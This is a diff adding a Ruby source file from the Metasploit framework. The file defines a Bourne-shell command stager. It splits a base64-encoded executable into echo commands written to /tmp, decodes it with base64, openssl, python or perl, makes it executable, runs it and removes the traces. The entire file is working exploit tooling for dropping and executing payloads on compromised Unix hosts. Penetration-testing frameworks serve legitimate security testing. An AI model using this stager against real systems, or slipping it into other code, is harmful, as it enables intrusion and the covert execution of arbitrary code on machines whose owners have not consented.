|
| 1 | +# -*- coding: binary -*- |
| 2 | +## |
| 3 | +# $Id: bourne.rb 12595 2011-05-12 18:33:49Z zeroSteiner $ |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/text' |
| 7 | +require 'rex/arch' |
| 8 | +require 'msf/core/framework' |
| 9 | + |
| 10 | +module Rex |
| 11 | +module Exploitation |
| 12 | + |
| 13 | +class CmdStagerBourne < CmdStagerBase |
| 14 | + |
| 15 | + def initialize(exe) |
| 16 | + super |
| 17 | + |
| 18 | + @var_encoded = Rex::Text.rand_text_alpha(5) |
| 19 | + @var_decoded = Rex::Text.rand_text_alpha(5) |
| 20 | + @decoder = nil # filled in later |
| 21 | + end |
| 22 | + |
| 23 | + def generate(opts = {}) |
| 24 | + opts.merge!({:temp => '/tmp/'}) |
| 25 | + super |
| 26 | + end |
| 27 | + |
| 28 | + # |
| 29 | + # Override just to set the extra byte count |
| 30 | + # |
| 31 | + def generate_cmds(opts) |
| 32 | + # Set the start/end of the commands here (vs initialize) so we have @tempdir |
| 33 | + @cmd_start = "echo " |
| 34 | + @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" |
| 35 | + xtra_len = @cmd_start.length + @cmd_end.length + 1 |
| 36 | + opts.merge!({ :extra => xtra_len }) |
| 37 | + super |
| 38 | + end |
| 39 | + |
| 40 | + |
| 41 | + # |
| 42 | + # Simple base64... |
| 43 | + # |
| 44 | + def encode_payload(opts) |
| 45 | + Rex::Text.encode_base64(@exe) |
| 46 | + end |
| 47 | + |
| 48 | + |
| 49 | + # |
| 50 | + # Combine the parts of the encoded file with the stuff that goes |
| 51 | + # before / after it. |
| 52 | + # |
| 53 | + def parts_to_commands(parts, opts) |
| 54 | + |
| 55 | + cmds = [] |
| 56 | + parts.each do |p| |
| 57 | + cmd = '' |
| 58 | + cmd << @cmd_start |
| 59 | + cmd << p |
| 60 | + cmd << @cmd_end |
| 61 | + cmds << cmd |
| 62 | + end |
| 63 | + |
| 64 | + cmds |
| 65 | + end |
| 66 | + |
| 67 | + |
| 68 | + # |
| 69 | + # Generate the commands that will decode the file we just created |
| 70 | + # |
| 71 | + def generate_cmds_decoder(opts) |
| 72 | + case opts[:decoder] |
| 73 | + when 'base64' |
| 74 | + decoder = "base64 -d #{@tempdir}#{@var_encoded}.b64" |
| 75 | + when 'openssl' |
| 76 | + decoder = "openssl enc -d -A -base64 -in #{@tempdir}#{@var_encoded}.b64" |
| 77 | + when 'python' |
| 78 | + decoder = "python -c 'import sys; import base64; print base64.standard_b64decode(sys.stdin.read());' < #{@tempdir}#{@var_encoded}.b64" |
| 79 | + when 'perl' |
| 80 | + decoder = "perl -MIO -e 'use MIME::Base64; print decode_base64(<>);' < #{@tempdir}#{@var_encoded}.b64" |
| 81 | + end |
| 82 | + decoder << " > #{@tempdir}#{@var_decoded}.bin" |
| 83 | + [ decoder ] |
| 84 | + end |
| 85 | + |
| 86 | + def compress_commands(cmds, opts) |
| 87 | + # Make it all happen |
| 88 | + cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin" |
| 89 | + cmds << "#{@tempdir}#{@var_decoded}.bin" |
| 90 | + |
| 91 | + # Clean up after unless requested not to.. |
| 92 | + if (not opts[:nodelete]) |
| 93 | + cmds << "rm -f #{@tempdir}#{@var_decoded}.bin" |
| 94 | + cmds << "rm -f #{@tempdir}#{@var_encoded}.b64" |
| 95 | + end |
| 96 | + |
| 97 | + super |
| 98 | + end |
| 99 | + |
| 100 | + def cmd_concat_operator |
| 101 | + " ; " |
| 102 | + end |
| 103 | + |
| 104 | +end |
| 105 | +end |
| 106 | +end |
0 commit comments